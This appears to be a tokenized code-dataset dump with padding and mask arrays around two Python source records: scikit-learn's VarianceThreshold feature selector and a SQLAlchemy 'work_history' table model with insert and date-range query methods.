32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
IshankGulati/scikit-learn
sklearn/feature_selection/variance_threshold.py
123
2572
# Author: Lars Buitinck # License: 3-clause BSD import numpy as np from ..base import BaseEstimator from .base import SelectorMixin from ..utils import check_array from ..utils.sparsefuncs import mean_variance_axis from ..utils.validation import check_is_fitted class VarianceThreshold(BaseEstimator, SelectorMixin): """Feature selector that removes all low-variance features. This feature selection algorithm looks only at the features (X), not the desired outputs (y), and can thus be used for unsupervised learning. Read more in the :ref:`User Guide <variance_threshold>`. Parameters ---------- threshold : float, optional Features with a training-set variance lower than this threshold will be removed. The default is to keep all features with non-zero variance, i.e. remove the features that have the same value in all samples. Attributes ---------- variances_ : array, shape (n_features,) Variances of individual features. Examples -------- The following dataset has integer features, two of which are the same in every sample. These are removed with the default setting for threshold:: >>> X = [[0, 2, 0, 3], [0, 1, 4, 3], [0, 1, 1, 3]] >>> selector = VarianceThreshold() >>> selector.fit_transform(X) array([[2, 0], [1, 4], [1, 1]]) """ def __init__(self, threshold=0.): self.threshold = threshold def fit(self, X, y=None): """Learn empirical variances from X. Parameters ---------- X : {array-like, sparse matrix}, shape (n_samples, n_features) Sample vectors from which to compute variances. y : any Ignored. This parameter exists only for compatibility with sklearn.pipeline.Pipeline. Returns ------- self """ X = check_array(X, ('csr', 'csc'), dtype=np.float64) if hasattr(X, "toarray"): # sparse matrix _, self.variances_ = mean_variance_axis(X, axis=0) else: self.variances_ = np.var(X, axis=0) if np.all(self.variances_ <= self.threshold): msg = "No feature in X meets the variance threshold {0:.5f}" if X.shape[0] == 1: msg += " (X contains only one sample)" raise ValueError(msg.format(self.threshold)) return self def _get_support_mask(self): check_is_fitted(self, 'variances_') return self.variances_ > self.threshold
bsd-3-clause
[ 3, 6529, 26, 491, 4291, 4779, 390, 262, 346, 199, 3, 844, 26, 650, 13, 8501, 6289, 199, 199, 646, 2680, 465, 980, 199, 504, 2508, 1095, 492, 3523, 13183, 199, 504, 1275, 1095, 492, 3240, 3283, 4256, 199, 504, 2508, 1208, 492, 1104, 63, 1144, 199, 504, 2508, 1208, 14, 4421, 9204, 492, 4615, 63, 6221, 63, 3127, 199, 504, 2508, 1208, 14, 6136, 492, 1104, 63, 374, 63, 21903, 421, 199, 533, 21107, 554, 12109, 8, 1563, 13183, 12, 3240, 3283, 4256, 304, 272, 408, 5968, 9759, 626, 14185, 1006, 6465, 13, 6221, 4534, 14, 339, 961, 3878, 7267, 5563, 10734, 1454, 737, 314, 4534, 334, 56, 395, 440, 314, 272, 6387, 4704, 334, 89, 395, 436, 883, 12850, 506, 1202, 367, 625, 4792, 17311, 9328, 14, 339, 5574, 1655, 315, 314, 520, 1121, 1705, 1899, 15423, 665, 6221, 63, 7227, 14943, 339, 3897, 272, 4143, 272, 8765, 520, 2069, 12, 2716, 267, 7949, 2093, 543, 282, 6093, 13, 409, 11773, 5117, 2419, 642, 8765, 911, 267, 506, 4829, 14, 710, 849, 365, 370, 4215, 1006, 4534, 543, 2222, 13, 4262, 11773, 12, 267, 284, 14, 69, 14, 2813, 314, 4534, 626, 1172, 314, 2011, 574, 315, 1006, 5845, 14, 339, 9382, 272, 4143, 272, 11773, 83, 63, 520, 1625, 12, 2215, 334, 78, 63, 3179, 4258, 267, 21107, 13236, 402, 8212, 4534, 14, 339, 6058, 272, 3001, 272, 710, 2569, 4789, 965, 3000, 4534, 12, 2877, 402, 1314, 787, 314, 2011, 272, 315, 4036, 2690, 14, 5723, 787, 4829, 543, 314, 849, 4260, 367, 8765, 447, 398, 1306, 1323, 275, 3474, 16, 12, 499, 12, 378, 12, 650, 467, 359, 16, 12, 413, 12, 841, 12, 650, 467, 359, 16, 12, 413, 12, 413, 12, 650, 2677, 267, 1306, 9759, 275, 21107, 554, 12109, 342, 267, 1306, 9759, 14, 3269, 63, 4711, 8, 56, 9, 267, 1625, 4038, 18, 12, 378, 467, 2049, 359, 17, 12, 841, 467, 2049, 359, 17, 12, 413, 3934, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8765, 29, 16, 14, 304, 267, 291, 14, 7227, 275, 8765, 339, 347, 5542, 8, 277, 12, 1323, 12, 612, 29, 403, 304, 267, 408, 21424, 9052, 73, 8825, 11773, 83, 687, 1323, 14, 398, 3897, 267, 4143, 267, 1323, 520, 469, 1144, 13, 2930, 12, 5178, 3634, 1386, 2215, 334, 78, 63, 3356, 12, 302, 63, 3179, 9, 288, 15227, 11102, 687, 1314, 370, 4526, 11773, 83, 14, 398, 612, 520, 1263, 288, 27662, 14, 961, 2725, 3495, 1454, 367, 7163, 543, 288, 6357, 14, 7379, 14, 17562, 14, 398, 1803, 267, 5514, 267, 291, 267, 408, 267, 1323, 275, 1104, 63, 1144, 8, 56, 12, 661, 10101, 297, 283, 17000, 659, 2152, 29, 1590, 14, 1609, 772, 9, 398, 340, 2688, 8, 56, 12, 298, 18993, 2349, 257, 327, 5178, 3634, 288, 5501, 291, 14, 6221, 83, 63, 275, 4615, 63, 6221, 63, 3127, 8, 56, 12, 3114, 29, 16, 9, 267, 587, 26, 288, 291, 14, 6221, 83, 63, 275, 980, 14, 1391, 8, 56, 12, 3114, 29, 16, 9, 398, 340, 980, 14, 452, 8, 277, 14, 6221, 83, 63, 2695, 291, 14, 7227, 304, 288, 1499, 275, 298, 1944, 3878, 315, 1323, 562, 8716, 314, 11773, 8765, 469, 16, 14010, 21, 70, 7063, 288, 340, 1323, 14, 1392, 59, 16, 61, 508, 413, 26, 355, 1499, 847, 298, 334, 56, 3509, 1454, 1373, 2690, 2924, 288, 746, 1722, 8, 1328, 14, 908, 8, 277, 14, 7227, 430, 398, 372, 291, 339, 347, 485, 362, 63, 4058, 63, 2629, 8, 277, 304, 267, 1104, 63, 374, 63, 21903, 8, 277, 12, 283, 6221, 83, 15452, 398, 372, 291, 14, 6221, 83, 63, 690, 291, 14, 7227, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6529, 26, 491, 4291, 4779, 390, 262, 346, 199, 3, 844, 26, 650, 13, 8501, 6289, 199, 199, 646, 2680, 465, 980, 199, 504, 2508, 1095, 492, 3523, 13183, 199, 504, 1275, 1095, 492, 3240, 3283, 4256, 199, 504, 2508, 1208, 492, 1104, 63, 1144, 199, 504, 2508, 1208, 14, 4421, 9204, 492, 4615, 63, 6221, 63, 3127, 199, 504, 2508, 1208, 14, 6136, 492, 1104, 63, 374, 63, 21903, 421, 199, 533, 21107, 554, 12109, 8, 1563, 13183, 12, 3240, 3283, 4256, 304, 272, 408, 5968, 9759, 626, 14185, 1006, 6465, 13, 6221, 4534, 14, 339, 961, 3878, 7267, 5563, 10734, 1454, 737, 314, 4534, 334, 56, 395, 440, 314, 272, 6387, 4704, 334, 89, 395, 436, 883, 12850, 506, 1202, 367, 625, 4792, 17311, 9328, 14, 339, 5574, 1655, 315, 314, 520, 1121, 1705, 1899, 15423, 665, 6221, 63, 7227, 14943, 339, 3897, 272, 4143, 272, 8765, 520, 2069, 12, 2716, 267, 7949, 2093, 543, 282, 6093, 13, 409, 11773, 5117, 2419, 642, 8765, 911, 267, 506, 4829, 14, 710, 849, 365, 370, 4215, 1006, 4534, 543, 2222, 13, 4262, 11773, 12, 267, 284, 14, 69, 14, 2813, 314, 4534, 626, 1172, 314, 2011, 574, 315, 1006, 5845, 14, 339, 9382, 272, 4143, 272, 11773, 83, 63, 520, 1625, 12, 2215, 334, 78, 63, 3179, 4258, 267, 21107, 13236, 402, 8212, 4534, 14, 339, 6058, 272, 3001, 272, 710, 2569, 4789, 965, 3000, 4534, 12, 2877, 402, 1314, 787, 314, 2011, 272, 315, 4036, 2690, 14, 5723, 787, 4829, 543, 314, 849, 4260, 367, 8765, 447, 398, 1306, 1323, 275, 3474, 16, 12, 499, 12, 378, 12, 650, 467, 359, 16, 12, 413, 12, 841, 12, 650, 467, 359, 16, 12, 413, 12, 413, 12, 650, 2677, 267, 1306, 9759, 275, 21107, 554, 12109, 342, 267, 1306, 9759, 14, 3269, 63, 4711, 8, 56, 9, 267, 1625, 4038, 18, 12, 378, 467, 2049, 359, 17, 12, 841, 467, 2049, 359, 17, 12, 413, 3934, 272, 408, 339, 347, 636, 826, 721, 277, 12, 8765, 29, 16, 14, 304, 267, 291, 14, 7227, 275, 8765, 339, 347, 5542, 8, 277, 12, 1323, 12, 612, 29, 403, 304, 267, 408, 21424, 9052, 73, 8825, 11773, 83, 687, 1323, 14, 398, 3897, 267, 4143, 267, 1323, 520, 469, 1144, 13, 2930, 12, 5178, 3634, 1386, 2215, 334, 78, 63, 3356, 12, 302, 63, 3179, 9, 288, 15227, 11102, 687, 1314, 370, 4526, 11773, 83, 14, 398, 612, 520, 1263, 288, 27662, 14, 961, 2725, 3495, 1454, 367, 7163, 543, 288, 6357, 14, 7379, 14, 17562, 14, 398, 1803, 267, 5514, 267, 291, 267, 408, 267, 1323, 275, 1104, 63, 1144, 8, 56, 12, 661, 10101, 297, 283, 17000, 659, 2152, 29, 1590, 14, 1609, 772, 9, 398, 340, 2688, 8, 56, 12, 298, 18993, 2349, 257, 327, 5178, 3634, 288, 5501, 291, 14, 6221, 83, 63, 275, 4615, 63, 6221, 63, 3127, 8, 56, 12, 3114, 29, 16, 9, 267, 587, 26, 288, 291, 14, 6221, 83, 63, 275, 980, 14, 1391, 8, 56, 12, 3114, 29, 16, 9, 398, 340, 980, 14, 452, 8, 277, 14, 6221, 83, 63, 2695, 291, 14, 7227, 304, 288, 1499, 275, 298, 1944, 3878, 315, 1323, 562, 8716, 314, 11773, 8765, 469, 16, 14010, 21, 70, 7063, 288, 340, 1323, 14, 1392, 59, 16, 61, 508, 413, 26, 355, 1499, 847, 298, 334, 56, 3509, 1454, 1373, 2690, 2924, 288, 746, 1722, 8, 1328, 14, 908, 8, 277, 14, 7227, 430, 398, 372, 291, 339, 347, 485, 362, 63, 4058, 63, 2629, 8, 277, 304, 267, 1104, 63, 374, 63, 21903, 8, 277, 12, 283, 6221, 83, 15452, 398, 372, 291, 14, 6221, 83, 63, 690, 291, 14, 7227, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
xuanthuong/golfgame
models/work_history.py
1
2217
# -*- coding: utf-8 -*- # Description: work_history table # By Thuong.Tran # Date: 29 Aug 2017 from sqlalchemy import create_engine, Table, Column, MetaData, Integer, Text, DateTime, Float from sqlalchemy import select, and_ import datetime as dt class work_history(): def __init__(self, db_url): _engine = create_engine(db_url) _connection = _engine.connect() _metadata = MetaData() _work_history = Table("work_history", _metadata, Column("WRK_HIS_ID", Integer, primary_key=True), Column("USR_ID", Integer), Column("PROC_NM", Text), Column("ST_DT", DateTime), Column("END_DT", DateTime), Column("LD_TM", Float), Column("CRE_DT", DateTime)) _metadata.create_all(_engine) self.connection = _connection self.work_history = _work_history pass def insert_to(self, data): is_valid = True # for item in data: # if not item: # is_valid = False # raise DropItem("Missing %s!" % item) if is_valid: ins_query = self.work_history.insert().values(data) self.connection.execute(ins_query) def get_all(self): s = select([self.work_history]).order_by('PROC_NM') result = self.connection.execute(s) return result def get_by_period(self, start_date, end_date): s = select([self.work_history]).where(and_(self.work_history.c.ST_DT >= start_date, self.work_history.c.END_DT <= end_date)) result = self.connection.execute(s) return result def get_finalized_process_of_one_day(self, today, worker): lower = dt.datetime(today.year, today.month, today.day, 0, 0, 0) upper = dt.datetime(today.year, today.month, today.day, 23, 59, 59) print(lower) print(upper) s = select([self.work_history]).where(and_(self.work_history.c.END_DT > lower, self.work_history.c.END_DT < upper, self.work_history.c.USR_ID == worker)) result = self.connection.execute(s) return result
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 11994, 26, 1736, 63, 5570, 1817, 199, 3, 4885, 3868, 85, 951, 14, 14612, 199, 3, 6148, 26, 7349, 25298, 9708, 199, 199, 504, 8335, 492, 1218, 63, 3908, 12, 6957, 12, 4996, 12, 24905, 12, 7225, 12, 4516, 12, 13686, 12, 11140, 199, 504, 8335, 492, 3504, 12, 436, 63, 199, 646, 2197, 465, 4487, 421, 199, 533, 1736, 63, 5570, 837, 523, 347, 636, 826, 721, 277, 12, 1592, 63, 633, 304, 272, 485, 3908, 275, 1218, 63, 3908, 8, 697, 63, 633, 9, 272, 485, 2105, 275, 485, 3908, 14, 2242, 342, 272, 485, 2343, 275, 24905, 342, 272, 485, 800, 63, 5570, 275, 6957, 480, 800, 63, 5570, 401, 485, 2343, 12, 2079, 4996, 480, 6524, 43, 63, 40, 1311, 63, 998, 401, 7225, 12, 5062, 63, 498, 29, 549, 395, 2079, 4996, 480, 22592, 63, 998, 401, 7225, 395, 2079, 4996, 480, 6072, 63, 21942, 401, 4516, 395, 2079, 4996, 480, 840, 63, 7438, 401, 13686, 395, 2079, 4996, 480, 3902, 63, 7438, 401, 13686, 395, 2079, 4996, 480, 6533, 63, 20690, 401, 11140, 395, 2079, 4996, 480, 5798, 63, 7438, 401, 13686, 430, 272, 485, 2343, 14, 981, 63, 452, 1547, 3908, 9, 272, 291, 14, 2105, 275, 485, 2105, 272, 291, 14, 800, 63, 5570, 275, 485, 800, 63, 5570, 272, 986, 12244, 347, 5518, 63, 475, 8, 277, 12, 666, 304, 272, 365, 63, 1078, 275, 715, 272, 327, 367, 1242, 315, 666, 26, 272, 327, 257, 340, 440, 1242, 26, 272, 327, 258, 365, 63, 1078, 275, 756, 272, 327, 258, 746, 18110, 2081, 480, 7718, 450, 83, 9539, 450, 1242, 9, 272, 340, 365, 63, 1078, 26, 489, 5261, 63, 1131, 275, 291, 14, 800, 63, 5570, 14, 3176, 1252, 1459, 8, 576, 9, 489, 291, 14, 2105, 14, 2526, 8, 3617, 63, 1131, 9, 819, 347, 664, 63, 452, 8, 277, 304, 272, 308, 275, 3504, 779, 277, 14, 800, 63, 5570, 6575, 1648, 63, 991, 360, 6072, 63, 21942, 358, 272, 754, 275, 291, 14, 2105, 14, 2526, 8, 83, 9, 272, 372, 754, 819, 347, 664, 63, 991, 63, 5191, 8, 277, 12, 1343, 63, 602, 12, 1284, 63, 602, 304, 272, 308, 275, 3504, 779, 277, 14, 800, 63, 5570, 6575, 4509, 8, 460, 2531, 277, 14, 800, 63, 5570, 14, 67, 14, 840, 63, 7438, 2356, 1343, 63, 602, 12, 221, 5101, 291, 14, 800, 63, 5570, 14, 67, 14, 3902, 63, 7438, 2695, 1284, 63, 602, 430, 272, 754, 275, 291, 14, 2105, 14, 2526, 8, 83, 9, 272, 372, 754, 27404, 347, 664, 63, 19231, 63, 1412, 63, 1618, 63, 368, 63, 2977, 8, 277, 12, 11168, 12, 7239, 304, 272, 5117, 275, 4487, 14, 2083, 8, 8136, 14, 3403, 12, 11168, 14, 4482, 12, 11168, 14, 2977, 12, 378, 12, 378, 12, 378, 9, 272, 7008, 275, 4487, 14, 2083, 8, 8136, 14, 3403, 12, 11168, 14, 4482, 12, 11168, 14, 2977, 12, 6546, 12, 8155, 12, 8155, 9, 272, 870, 8, 2325, 9, 272, 870, 8, 4142, 9, 272, 308, 275, 3504, 779, 277, 14, 800, 63, 5570, 6575, 4509, 8, 460, 2531, 277, 14, 800, 63, 5570, 14, 67, 14, 3902, 63, 7438, 690, 5117, 12, 221, 6343, 291, 14, 800, 63, 5570, 14, 67, 14, 3902, 63, 7438, 665, 7008, 12, 6343, 291, 14, 800, 63, 5570, 14, 67, 14, 22592, 63, 998, 508, 7239, 430, 272, 754, 275, 291, 14, 2105, 14, 2526, 8, 83, 9, 272, 372, 754, 16872, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 